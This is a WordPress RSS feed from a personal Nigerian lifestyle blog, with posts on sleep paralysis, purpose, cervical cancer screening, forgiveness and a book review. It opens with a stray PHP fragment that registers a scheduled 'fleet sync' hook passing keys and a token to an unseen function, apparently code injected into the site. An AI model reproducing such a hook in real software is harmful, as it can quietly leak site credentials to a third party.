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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Lifestyle – Tobioloyede https://tobioloyede.com Delving into daily life issues to foster change Thu, 01 Jun 2023 03:45:15 +0000 en-US hourly 1 https://wordpress.org/?v=7.1 https://tobioloyede.com/wp-content/uploads/2022/12/cropped-Beige-Elegant-Personal-Business-Card-2-32x32.png Lifestyle – Tobioloyede https://tobioloyede.com 32 32 Sleep Paralysis: From Spiritual Beliefs to Scientific Understanding https://tobioloyede.com/sleep-paralysis-from-spiritual-beliefs-to-scientific-understanding/ https://tobioloyede.com/sleep-paralysis-from-spiritual-beliefs-to-scientific-understanding/#respond Thu, 01 Jun 2023 03:45:15 +0000 https://tobioloyede.com/?p=2276 The phenomenon of sleep paralysis has been a subject of fascination and intrigue for years, often eliciting feelings of unease among individuals who experience it (Cox, 2015). It has been attributed to supernatural factors rather than scientific explanations in various civilizations, including Nigeria. Here, I delve into my personal narrative, as a young Nigerian who originally attributed sleep paralysis to a spiritual issue but ultimately gained a fresh outlook through scientific comprehension. I am certain that you or someone you know would have thought about sleep paralysis as a spiritual something.

“Sleep paralysis is not rare. Surveys around the world suggest that 20-45% of people experience at least one sleep paralysis episode in their lifetimes.”-Davies, 2003, p.182.

I grew up in a traditional Nigerian household deeply rooted in spiritual beliefs and practices. From a young age, I had been taught to interpret unusual occurrences through the lens of the supernatural. So, whenever I experienced sleep paralysis, I naturally attributed it to malevolent spirits or mystical forces. On some nights, I experienced peculiar phenomena that shook me to my core. As I lay in bed, ready to drift into a peaceful slumber, I suddenly found myself trapped in a state of sleep paralysis. Unable to move my body or speak, I felt an overwhelming sense of terror engulfing me. I began to see vivid hallucinations and hear eerie voices that seemed to taunt me.  

Source
Source

My encounters with sleep paralysis were accompanied by terrifying nightmares and a sense of helplessness. I believed that malevolent spirits were trying to suffocate me, rendering me immobile and voiceless. These experiences left me shaken and fearful, seeking solace in prayers as a means of protection. Every night it happened, I would decide to stay awake all night for fear of re-experiencing it. In search of answers, whenever I relayed my experiences to people, all that was suggested is the supernatural and particularly prayers.   However, my perspective underwent a gradual transformation when I stumbled upon scientific literature discussing sleep paralysis. Intrigued by the possibility of a different explanation, I delved into the research, uncovering the physiological and psychological aspects of the phenomenon.

What is Sleep Paralysis?

Sleep paralysis is a condition characterized by the maintenance of muscle atonia during the REM (rapid eye movement) sleep phase, resulting in the resumption of consciousness and the inability to move any part of the body (Farooq and Anjum, 2022). This often leads to intense feelings of fear and apprehension in the affected individual.

Causes of Sleep Paralysis

-Lack of sleep/insomnia

-Sleep schedule that changes: disrupted sleeping patterns – for example, because of shift work or jet lag

-Mental conditions such as stress or bipolar disorder

-Sleeping on your back

-Use of certain medications, such as those for ADHD -Substance abuse

-Narcolepsy – a long-term condition that causes a person to suddenly fall asleep

-Post-traumatic stress disorder (PTSD)

-Anxiety disorder

-Panic disorder

-A family history of sleep paralysis

Coping Strategies for Sleep Paralysis

  • Improving your sleep hygiene
  • Stress and Anxiety Management
  • Sleep Position and Sleep Aids
  • Seeking Professional Help

Armed with this newfound knowledge, I began to integrate science and spirituality into my perspective on sleep paralysis. I recognized the significance of cultural beliefs and the comfort they can bring, while also appreciating the value of medical expertise and scientific explanations. My personal journey allowed me to navigate the complex intersection of spirituality and science. I gradually realized that both realms have their merits and that a holistic approach can provide a deeper understanding of sleep paralysis. I learned to respect my cultural heritage while embracing scientific knowledge as a means of empowerment and self-discovery.  

In conclusion, sleep paralysis is a complex phenomenon that can elicit distress among individuals who undergo it. Through comprehension of the etiology, manifestations, and adaptive techniques linked to sleep paralysis, individuals can enhance their ability to manage this occurrence. It is imperative to seek professional guidance for comprehensive care and support if an individual or someone you know is experiencing sleep paralysis.  

My story illuminates the transformative power of knowledge and the importance of questioning ingrained beliefs. My journey from perceiving sleep paralysis as a spiritual issue to embracing scientific understanding showcases the potential for growth and a more comprehensive understanding of the world around us. By sharing my experience, I hope to convince others to explore diverse perspectives and appreciate the harmony that can exist between spirituality and science.  

References

Cox A. M. (2015). Sleep paralysis and folklore. JRSM open, 6(7), 2054270415598091. https://doi.org/10.1177/2054270415598091  

Davies, O. (2003). The Nightmare Experience, Sleep Paralysis, and Witchcraft Accusations. Folklore, 114(2), 181–203. http://www.jstor.org/stable/30035099  

Farooq M, Anjum F. Sleep Paralysis. [Updated 2022 Sep 5]. In: StatPearls [Internet]. Treasure Island (FL): StatPearls Publishing; 2023 Jan-. Available from: https://www.ncbi.nlm.nih.gov/books/NBK562322/

]]> https://tobioloyede.com/sleep-paralysis-from-spiritual-beliefs-to-scientific-understanding/feed/ 0 The Subjectivity of Purpose https://tobioloyede.com/the-subjectivity-of-purpose/ https://tobioloyede.com/the-subjectivity-of-purpose/#respond Fri, 17 Feb 2023 05:06:50 +0000 https://tobioloyedesblog.wordpress.com/?p=583

As a concept, purpose is often misunderstood, and here’s a disclaimer; I have my reservations about the term purpose. Why? I think purpose can be whatever you decide is important and you doing it. Hence, you can find purpose anywhere or in anything you do.

What exactly is Purpose, why is it important, why am I here, where am I going? I can’t feel myself in this career or in the program… Purpose.

To psychologists, purpose is an unwavering commitment to achieving a long-term goal that is equally meaningful and positively impacts the world. Interestingly, the intentions that nurture our sense of purpose are those that have the potential to change our lives and those of the people around us, such as starting a nonprofit, researching a phenomenon, changing careers, or switching programs in school.

Always remember, change is constant, thus, our sense of direction, the things that push us to do whatever we want to do also change over the course of our lives. This slightly hinges on grappling with our identities, moving from being teenagers, taking up adulthood responsibilities, and building personal life, to retirement and the list goes on.  Just as the saying that happiness is not a destination, purpose itself is not, rather, it is a journey that involves conscious practice. By implication, purpose is accessible at any stage or age once we are willing to do the work it takes. If you are moving from being a biologist to being a network engineer-work to be that person.

Some of us find purpose in situations we least expect or things we just wanted to do to pass time or use as a saving plan (been there, done that). For some of us, we become worried that people around us would think that we do not have “Purpose” seeing that we waver around. Let me say this, purpose is not what you do, it is who you are. No one is given birth to a nurse, you change roles to get there, and you can move to be a writer at the end. The ability to excel at the seemingly different things that you do makes a difference and when examined properly, you might find the connector among these different things, careers, or programs.

Click to watch this! “Do not let anyone tell you that you are jumping from one career, or thing, or doing this and that. It’s theirs to talk to, it’s yours to do/act. Do you! Do you know why? They will do the same if /when they can. Whatever you find yourself doing, do it well and enjoy it. They will understand later.”

I have come to understand that living the so-called life of purpose is not about finding that one very big thing or one true calling that we were created to be. 

 

Purpose is subjective; spending my time doing something meaningful, and important, and things I can be proud of. Purpose is not farfetched, not this thing that has cosmic meaning, not a predetermined universal destiny, not a big thing that once you find it, every other aspect of your life will be in shape. Purpose is continuous, you create and maintain it and sometimes you lose it, and go back to recreate it.

We need to ask ourselves at different points “what do I find important or meaningful?”

 

We can find purpose/what matters to us in different things/places. What matters to you at 20 may be different from what matters to you at 30…

 

 

MYTH# 1: There is a single purpose for you

MYTH# 2: Purpose is constant/static

MYTH# 3: Purpose solves everything

How about we move beyond finding purpose, to creating purpose? Remember purpose, is that thing that matters to you. Purpose is a question of value, what we choose to be important, and how to be better.

I try to find the connector in all I do. Thus, I can call myself a multipotentialite.

Purpose is Subjective!

I conclude with the words of Emilie Wapnick:

‘to you I say:
Embrace your many passions, follow your curiosity down those rabbit holes, explore your intersections. Embracing our inner wiring leads to a happier, more authentic life, and perhaps more importantly — multipotentialites, the world needs us.

 

 

 

 

]]> https://tobioloyede.com/the-subjectivity-of-purpose/feed/ 0 Cervical Cancer: Understanding the Disease and How to Prevent It https://tobioloyede.com/cervical-cancer-understanding-the-disease-and-how-to-prevent-it/ https://tobioloyede.com/cervical-cancer-understanding-the-disease-and-how-to-prevent-it/#respond Thu, 19 Jan 2023 01:24:17 +0000 https://tobioloyede.com/?p=2165 Cancer of the cervix is a type of cancer that affects the lower section of the uterus that attaches to the vagina. This part of the uterus is known as the cervix. It is a terrible disease that affects thousands of women each year, and it is the fourth most frequent kind of cancer in women all over the world. Cervical cancer, on the other hand, is one of the most preventable types of cancer, and finding and treating it early can help save lives. Symptoms of cervical cancer can include abnormal vaginal bleeding, pain during intercourse, and pelvic pain, which may not manifest until the disease has advanced.

HPV, which stands for “human papillomavirus,” is an infection that can be spread sexually and is said to be one of the main causes of cervical cancer. It is believed that almost all sexually active people will become infected with HPV at some point in their lives because the virus is so widespread and easy to contract. However, not every strain of HPV is associated with an increased risk of cervical cancer. HPV 16 and HPV 18 are the forms of the human papillomavirus (HPV) that are most often linked to cervical cancer.

Vaccination against HPV is the most effective method now available for preventing cervical cancer. The HPV vaccine is both safe and effective, and it can protect against the most common types of HPV that are linked to cervical cancer. Even though the HPV vaccine is usually given to children and teens between the ages of 11 and 12, adults can also get it.

Source
January is a cervical cancer awareness month.

It consists of a number of injections that are spread out over the course of a year. Before a person has sexual contact, it is strongly suggested that they get the vaccine. However, the vaccine can still provide some protection against other kinds of the virus and help prevent future HPV-related cancers, even if someone has already been exposed to HPV.

Getting Pap smears on a regular basis is another essential measure to take in the fight against cervical cancer. A simple test called a Pap smear can find abnormal cells on the cervix before they become cancer. The American College of Obstetricians and Gynecologists recommends that women begin receiving regular Pap smears at the age of 21 and that they should continue to get checked every three years until the age of 29. After age 29, women should continue to get examined once every five years. It is recommended that women obtain either a Pap smear and an HPV test together every 5 years or simply the HPV test every 5 years if they are between the ages of 30 and 65. Women over 65 who have had regular Pap smears in the last 10 years and found nothing wrong with them do not need to keep getting screened.

With the above preventive steps, women can also make changes to their lives to lower their risk of getting cervical cancer. These consist of:

  • Not smoking
  • Condom usage during sexual activity
  • Limiting the number of sexual partners
  • Keeping a healthy weight and diet

Cervical cancer is a deadly disease, yet it is also one of the most preventable cancers. Women can protect themselves from this disease by getting the HPV vaccine, getting regular Pap smears, and living a healthy lifestyle.
One HPV vaccine (Gardasil) is recommended for boys. This vaccine can help prevent boys from getting infected with the HPV types that can cause cancers of the mouth and throat, penis, and anus, as well as genital warts.

Cervical cancer is one of the main causes of cancer-related deaths in women worldwide, especially in low- and middle-income countries. Poverty, lack of healthcare, and discrimination are social determinants of health that contribute to the disproportionate impact on Black, Indigenous, and People of Color (BIPOC) communities.

It’s highly recommended that you speak with your healthcare provider; they will be able to give you all the information you need, answer any questions you might have, and help you schedule the vaccine.
Learn more from our interview with Dr. Adeola Awujoola (Resident Physician): on YouTube or on your podcast platforms (Metamorphosis with Tobi)– Apple Podcast.  Google Podcast. Spotify

Image credit: Loma Linda University Health

References

  • Centers for Disease Control and Prevention, “HPV Vaccines” (2021)
  • American College of Obstetricians and Gynecologists, “Cervical Cancer Screening” (2021)
  • American Cancer Society, “Cervical Cancer Early Detection, Diagnosis, and Staging” (2021)
  • “The Impact of Social Determinants of Health on Cervical Cancer Outcomes” by the American Cancer Society

 

 

 

 

 

]]> https://tobioloyede.com/cervical-cancer-understanding-the-disease-and-how-to-prevent-it/feed/ 0 Becoming a Champion https://tobioloyede.com/becoming-a-champion/ https://tobioloyede.com/becoming-a-champion/#respond Mon, 25 Jul 2022 14:40:11 +0000 https://tobioloyedesblog.wordpress.com/?p=575 I woke up to an unusual discussion with a friend about Tobi Amusan’s (a Nigerian athlete who specializes in a 100-meter hurdle) world-breaking record yesterday and how that made every Nigerian proud.

Today, I ruminate about how life deals with us and vice versa. How we can be angry, frustrated, or even depressed when things seem not to work according to our plans. Just how we wish we could know what the next minute holds, maybe we won’t have to worry so much.

Just over a year ago, Tobi Amusan was denied her African record during the Olympic trials (if you remember that incident) at the Yaba College of Technology, Lagos Nigeria. The World athletics only recognize electronic timing devices, but “Nigeria never fails to be Nigeria”- the electronic timer failed to display the time at the end of the race. Hence, there was no valid record of her race time, although she won, she was denied her African record. Can you imagine? Have you ever been in situations where you do all your best and end up not reaping (for the lack of right expression) the benefit or result of your hard work?

I have been in similar situations where I put in my best and sometimes it yields results; other times it’s like I put in my best for nothing. Tobi Amusan’s experience last year reminds me of the time when I put in my all for a particular admission and was sure I was getting it until I was told the department had a funding issue. It wasn’t about me not being good for them as we had discussed some of the things I would do once I got in, but the department just could not have me. (Can you keep a secret; this admission story is so painful that I have bottled it up for months and I run away from the thoughts. I cannot bear to process it).

Let’s bring it back. Tobi Amusan’s victory yesterday resonates in different shades. In her words, “I believe in my abilities, but I was not expecting a world record at these championships. You know, the goal is always just to execute well and get the win. So, the world record is a bonus.”

My takeaways:

·      The onus is on you to believe in your abilities. Irrespective of acceptance or recognition. Know your worth and be true to it.

·      Have a winning mindset. I always like to emphasize thinking of the good and worst outcomes. You want to win always, but failure or limitation isn’t always bad. It propels you to be better and learn.

·      Keep pushing

·      There’s no limit to what you can achieve. Tobi Amusan set two World records in a single day.

Gentle reminder: Becoming a champion at whatever we do isn’t overnight work, it comes with successes, failures, and setbacks that seem like the world is against us.

Ponder on the above but let’s talk about the tears that went along with the national anthem after Tobi Amusan received her medal. First, it was the first time many of us thought of and sang the national anthem in long while. Second, it was an emotional moment that brought tears to our eyes, literally and figuratively. What does this tell us, “We love our country, Nigeria.” We want nothing but the best for her.

God bless Nigeria!!!

 

 

]]> https://tobioloyede.com/becoming-a-champion/feed/ 0 Closure Musings https://tobioloyede.com/closure-musings/ https://tobioloyede.com/closure-musings/#comments Wed, 20 Jul 2022 20:28:32 +0000 https://tobioloyedesblog.wordpress.com/?p=559

Here I am thinking about trust, forgiveness, faith, and boundary-personal space. I know many people take time to allow others to earn their trust, but it’s the opposite for me.

Once my intuition does not tell me otherwise, I trust you first and figure things out however they play out. I’m guessing you’re shaking your heads right now, even feeling bad for me or wondering how gullible of me. I know right. It’s funny how I don’t even give up after being served my first hit. I give you more chances just because I think no one is perfect as we all are striving towards being and doing better (doing this is hard and painful).


For some of us, we don’t retreat when things get tough- we thrive and that’s how we build resilience. For some of us, we cut off, unfriend, or block instantly, and that in itself takes a special kind of skill set to do that (some of us don’t have that skill and courage if I may call it that).
 
You can forgive someone and yet not accept them back into your life. It’s simply no longer trusting them.
I forgive you and I hold no grudge, but we must accept that the relationship or happening is just not understandable or acceptable by both parties. Thus, each person holds on to their belief and that is fine. That has a thing or two with personal healthy boundaries.
 
As a work in progress, there are times I lash out because of anger. One question is “how do you react when you are angry, when your trust is broken or when your personal boundary is disrespected?”


Roy Lewicki, a lead author of the study and professor emeritus of management and human resources at The Ohio State University’s Fisher College of Business posits that “apologies really do work, but you should make sure you hit as many of the six key components as possible,” The six elements include:
 
·       Expression of regret 
·       Explanation of what went wrong 
·       Acknowledgment of responsibility 
·       Declaration of repentance 
·      Offer of repair 
·      Request forgiveness 

Lewicki affirms that at least two of the elements must be presented by the offender for you to think about forgiving or more. In all, give yourself the right to consider yourself first, to consider how the situation affects your peace and mental health. As an act of generosity, forgive, but do not be disrespected.


Read more: The 6 elements of an effective apology, per science |The Ohio State University https://news.osu.edu/the-6-elements-of-an-effective-apology-according-to-science/

 

]]> https://tobioloyede.com/closure-musings/feed/ 1 Retrospection https://tobioloyede.com/retrospection/ https://tobioloyede.com/retrospection/#respond Sat, 14 May 2022 13:58:24 +0000 https://tobioloyedesblog.wordpress.com/?p=537 Seated here looking through my snapshots and like an instant fall, what I never thought could be an inspiration became my muse. There I was in deep thought about life and all its happenings.

 

“I yearn for my space. It charges me up. Therein I can breathe and see the light”

– Tobi Oloyede

You know how sometimes you feel forgotten and invisible. You remember your vulnerable moments and it seems like you’re just not enough or doing the right things, that’s the kind of moment I’m talking about.

Still seated, lost in my space, there and then it came… I remembered, “El Roi” which means “the God who sees me.” Even the most watchful mother sleeps off on her child. Whatever your religion is, God sees you and all that’s yours, always remember that. I am not writing from a perfect stance, I forget this too, but here I am holding on to the affirmation that he sees me.

Words of Affirmation
He sees me, He knows me
He sees me, he hears me
He sees my struggles, my hard work, my pain
He sees my gratitude, He knows it all

If interested, here’s a link to a short film

When I woke up this morning, writing was not anywhere on my to-do list for the day, but here I am scribbling. I hope you find meaning beyond this superficial short piece. I hope it serves a purpose, I hope it passes a message.

“El Roi – the God who sees me.”

“You carry the message you’ve been seeking, but realization of it is found in healthy retrospection, not among the wilderness of chaotic noise.”

― T.F. Hodge

]]> https://tobioloyede.com/retrospection/feed/ 0 Book Review of “Nearly All The Men In Lagos Are Mad” https://tobioloyede.com/book-review-of-nearly-all-the-men-in-lagos-are-mad/ https://tobioloyede.com/book-review-of-nearly-all-the-men-in-lagos-are-mad/#comments Sat, 29 Jan 2022 19:20:29 +0000 https://tobioloyedesblog.wordpress.com/?p=494
Source

It is no news that Lagos is for the crazy at heart, just as a friend of mine sums it, it is a dramatic state in all areas. This book is a collection of twelve short stories about the unique form of madness that goes on in Lagos especially among men. It tells relatable stories about the hurdles women go through to find love in Lagos. It’s hard to find love in Lagos, if you do, it becomes harder to keep. It cannot be overemphasized that the men in Lagos are indeed mad, and Damilare Kuku just wittingly underscores it in this book. These relatable short stories range from situations about opportunists, cheats, married men, mummy’s boy, to narcissists.

No doubt, astonishment, and belly laugh from this book will leave you in stitches. I was both satisfied and hungry for more. Let me slightly introduce you to Damilare Kuku’s crazy world.

Damilare Kuku- the writer of the book

“Cuck-Up,” the first story is about a woman with a deadbeat husband who manipulates her into sleeping with another man for money and ends up gaslighting her and the twist is, he cheats on her with younger girls. At the end of this story, my stomach is filled with butterflies as she realizes her worth during the family meeting set for her because she told her husband she was going to cut off his penis. “One last thing—if Lukumon doesn’t move out of this house, I will cut off his penis and use it for money rituals.” Go, sis! Sense is coming your way.

In “The Gigolo from Isale-Eko,” the story of Ignatius, a chronic womanizer who goes to any extent all in the name of having a woman. He sets off quickly once his aim is achieved. He marries and unmarries as he pleases- let’s say he goes with the flow.

One of my favorites is the story titled “Ode-Pus Complex.” It is about a Yoruba lady, Yejide, and an Igbo guy, Uche. If you’re familiar with Sigmund Freud’s psychoanalytic theory in his book entitled The Interpretation of Dreams, you will have a clear understanding of what to find in this story. Uche is clearly a mummy’s boy, who finds it uneasy to break ties with “mummy.” For her so-called prized son, Uche, mummy sets standards and conditions that Yejide must meet in order to marry her son. This mummy’s boy thingy infuriates my stomach.

The themes to find in the pages of this book are spousal deceit, tribalism, gender, adultery, bisexuality, and class. Personally, some of the stories had an abrupt ending that left me puzzled. The sexual content was somewhat exhausting. Yet, the experiences of madness and the energy in this book are supreme.

Do not worry, I will not over-spill the tea. I just wanted you to have a taste of the book. There are several other stories in the book, but I must remind you that this is a relatable masterpiece. Lagos was, is, and remains a jungle not only for the brave at heart but mainly for the “mad” at heart.

If you are someone like me who does not like to read lengthy stories or are a slow reader, try this book and you will thank me later. You can get the book from Amazon or click here

]]> https://tobioloyede.com/book-review-of-nearly-all-the-men-in-lagos-are-mad/feed/ 4 To You https://tobioloyede.com/to-you/ https://tobioloyede.com/to-you/#respond Tue, 18 Jan 2022 06:06:05 +0000 https://tobioloyedesblog.wordpress.com/?p=486

Have you been in a situation where suddenly you realize that you were never what you thought you were? It could be in a romantic relationship, among friends, or just in a situation where you’re the plan B. You’re sought after only because the first option didn’t work out. Hear me, you can be the second option and be the best option, but if it makes you feel bad/less about yourself, then there is a problem. You are a priority, don’t forget that. You are valuable.



“Everyone has the ability to hurt. It’s the choice that matters.”
― Yvonne Woon, Dead Beautiful

 

 

]]> https://tobioloyede.com/to-you/feed/ 0 Learning to Forgive https://tobioloyede.com/learning-to-forgive/ https://tobioloyede.com/learning-to-forgive/#comments Mon, 19 Jul 2021 01:25:56 +0000 https://tobioloyedesblog.wordpress.com/?p=441

Over time, I have been in situations where I had to let go without even letting the other party know where or how they hurt me. My life is no doubt one that is full of vicissitudes just as anyone’s. My downs have been deeper than most, but I always found my way back up. I have come to realize that surviving dissension with others or oneself is different from healing or finding peace. The process of surviving is not a loveable one, it is tough(I say that affirmatively). There are times I ask myself if being a survivor is worth it and this is because someone once said to me, “what’s the big deal in being a survivor? Life will surely end.” That question perfectly resonated with me. I sought for answers. Surviving is not a child’s play, it is serious work. Not everyone learns a lesson or two from their survival process; most people just go through it. Therefore, whatever the pain or experience you survive, there is always the phase of forgiveness. Yes, forgiveness. I am sure some are thinking what an easy task that is (just being sarcastic). However, without mincing words, forgiveness is a key to inner peace and growth.
Think about that for a few seconds.

Essentially, forgiveness is explained as the act of exonerating an offender. How many times do I have to forgive an offender who repeatedly hurt me? (You may be asking yourself this question just as I am).

In The Purpose Driven Life, Rick Warren explains that many people reluctantly show mercy not because they do not want to, but because they do not understand the difference between forgiveness and trust. I have learned that forgiving others on the one hand must be instant, whether or not a person deserves it.

Trust, on the other hand is futuristic (with future behavior) and it possibly takes time to be built or rebuilt. For Warren, “If someone hurts you repeatedly, you are commanded by God to forgive them instantly, but you are not expected to trust them immediately, and you are not expected to continue allowing them to hurt you.” (I honestly struggle with this, I give too many unnecessary chances )

It is noteworthy that Forgiveness isn’t condoning what the other person did or sweeping things under the rug. It is also not necessarily forgetting what happened (I am really guilty of this- I most likely will remember what you did vividly or even what you said word for word years later). Depending on the situation, forgiveness itself may require a time of healing.

Steps to Forgiveness
1. Accept the pain
Until you acknowledge the pain, you cannot work through the hurt. You are free to cry, go through feelings of resentment as they affirm that something is wrong. Do not numb the emotion.

2. Deliberately reflect
Take your time to think through the situation. You can keep a journal where you pour out your feelings or speak with a trusted individual (with emphasis on trust).

3. Put yourself in the offender’s shoes
Think about times you have erred. How did the wrongdoing make you feel? This in particular helps me. It necessarily might not be helpful to you, but you could try it. If you were in the person’s shoes, what would you have done better.

4. Remember God’s forgiveness and reflect on that.

5.l Let go of the hurt.

6. Continue to forgive. I have come to realize forgiveness is a continuous process. Letting go can no doubt be a hectic task, but just one thing I love to talk about- intentionality. Be intentional and practice it. You can always come back with your testimonies.

It is noteworthy that the concept of forgiveness goes beyond any ethical or vague term. As opposed to being a moral concept, it is psychological. To truly forgive and continue life’s journey, it is important to understand the counterintuitive psychology of forgiveness-peace and freedom.

First Image Credit: Murtada Muhammad Gusau on Premium Times.

]]> https://tobioloyede.com/learning-to-forgive/feed/ 5 Emotional Independence https://tobioloyede.com/emotional-independence/ https://tobioloyede.com/emotional-independence/#comments Tue, 11 May 2021 04:45:16 +0000 https://tobioloyedesblog.wordpress.com/?p=421 Take charge of your life, it starts from within you.

It is much easy for us to make changes to things that we see physically like our weight, shape, hair, face, among others, than to those things we feel or basically cannot touch. You might want to criticize that position, but we always have options to change things we see physically or things outside of us. Predominantly, when we think about change, it never comes naturally to think about starting from within, rather, we think about things around us/environment. We mostly hold the position that until things around us become different, only then can we feel better.

Without mincing words, that is the very perspective that debars us from taking the necessary steps or even making the needed changes to living a happy life. As opposed to blaming the world/environment around us, we can take actions by asking ourselves the pertinent questions; “Why do I keep doing the things I do?” “In what ways are my actions, thoughts, inactions perpetuating my life?” “How am I contributing to the world around me?” “Why do I keep doing the same things that leave me unhappy?”

I have come to the conclusion that life will continue to serve you similar situations until you retrospect and do something different from within.  I know you are wondering what exactly it is I want to address regarding emotional independence. By emotional independence, I mean the ability to control your life as well as your stress levels under harsh or adverse circumstances.

Emotional independence is being able to live your life without constantly getting pushed and pulled by your feelings. It is a mental state where you are no longer a slave to your emotions, but instead know how to accept and manage them in a healthy and constructive way.

Changing unamiable behaviors and perceptions and accepting ourselves enable us to find the needed strength to create that inner calm that we require. Emotional independence, therefore, can be referred to as the RESILIENCE that sprouts from within to face whatever situation or circumstance. It is building your sense of self without having to depend on others’ perception of you, who you should be, what you should do, and how you should be it or do it. (This is important because as individuals we mostly think about how others should be and not them being who they are. For instance, a child that keeps complaining of a father who never treats him/her rightly. How about you think that the father is a being on his own and the best he can be is what he is. Note, I am not applauding irresponsibility, but emphasizing letting people just be themselves)

I know that talk is cheap, it is easier said, easier read, easier written than done, but intentional practice goes a long way. Change is constant, yet it is a hectic step to take. How do I become emotionally independent (a few steps, you can add yours as you go)

Practice mindfulness (Pay attention to things)

Take responsibility for your self (Stop blaming others)

Understand your values and goals

Know that your choices make up who you are

Be intentional about knowing yourself through every form of relationship (Family, romantic relationships, friendships and all).

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